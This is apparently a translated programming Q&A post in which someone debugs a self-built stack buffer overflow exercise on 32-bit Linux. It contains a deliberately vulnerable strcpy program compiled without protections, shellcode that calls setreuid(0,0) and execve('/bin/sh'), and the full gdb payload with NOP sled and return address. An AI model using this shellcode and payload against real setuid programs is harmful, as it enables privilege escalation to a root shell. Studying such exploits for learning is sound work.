He escrito un programa vulnerable (a continuación) y algo de código de shell (también a continuación) para usar en un exploit de desbordamiento de búfer. He tenido los mismos problemas que en este link , y resolví los que usaron las respuestas allí (-z execstack, -fno-stack-protector). Ahora estoy teniendo un problema aludido en un comentario.
Sobrescribo la dirección de retorno de modo que apunte a la mitad de un trineo NOP (a "\ x38 \ xcf \ xff \ xff", little-endian, encontrado usando x / 500x $ esp-500 en gdb). El programa (comando en la parte inferior) da una falla de segmentación:
0xffffa0e8 in ?? ()
(gdb) info register
eax 0xfffffffc -4
ecx 0xffffd070 -12176
edx 0x0 0
ebx 0xffffd074 -12172
esp 0xffffd06c 0xffffd06c
ebp 0x2368732f 0x2368732f
esi 0x0 0
edi 0x0 0
eip 0xffffa0e8 0xffffa0e8
eflags 0x10246 [ PF ZF IF RF ]
cs 0x23 35
ss 0x2b 43
ds 0x2b 43
es 0x2b 43
fs 0x0 0
gs 0x63 99
(gdb)
El byte más a la derecha de la dirección de retorno no es lo que debería ser (eip debería leer 0xffffcf38). Si cambio la dirección de retorno a una tontería, diga "0xffffdddd", obtengo:
Program received signal SIGSEGV, Segmentation fault.
0xffffddfd in ?? ()
casi como se esperaba, ¡una "d" ha cambiado a una "f"! Una dirección de retorno de "0x42424242" funciona como se esperaba: segfault, 0x42424242 en ?? ()
Entonces: el comportamiento esperado es iniciar / bin / bash. El comportamiento real es dar una falla de segmentación, dando como una dirección de retorno algo diferente a la dirección con la que estoy intentando sobrescribir el EIP. La pregunta es: ¿por qué sucede esto y cómo puedo detenerlo?
El programa vulnerable:
#include <stdio.h>
#include <string.h>
int main(int argc, char** argv) {
char buffer[500];
strcpy(buffer, argv[1]);
return 0;
}
Compilado con:
gcc -g -m32 -fno-stack-protector -z execstack -o ./vuln ./vuln.c
El código de shell (desde o en gran parte desde here ) en ensamblaje:
BITS 32
; setreuid(0, 0)
xor eax, eax
mov al, 70
xor ebx, ebx
xor ecx, ecx
int 0x80
jmp short two
one:
pop ebx
;execve("/bin/sh", ["/bin/sh", NULL], NULL)
xor eax, eax
mov byte [ebx+7], al
push eax
push ebx
mov ecx, esp
xor edx, edx
int 0x80
two:
call one
db "/bin/sh#"
El ensamblado se compila con:
nasm -bin -o shellcode shellcode.asm
El ataque se ejecuta en gdb, usando los comandos:
gdb vuln
y
run $(python -c 'print "\x90" * 473 + "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0e\x5b\x31\xc0\x88\x43\x07\x50\x53\x89\xe1\x31\xd2\xcd\x80\xe8\xed\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x23" + "\x38\xcf\xff\xff"')
El sistema es Linux Mint 17.1 de 64 bits, ejecutándose en VirtualBox.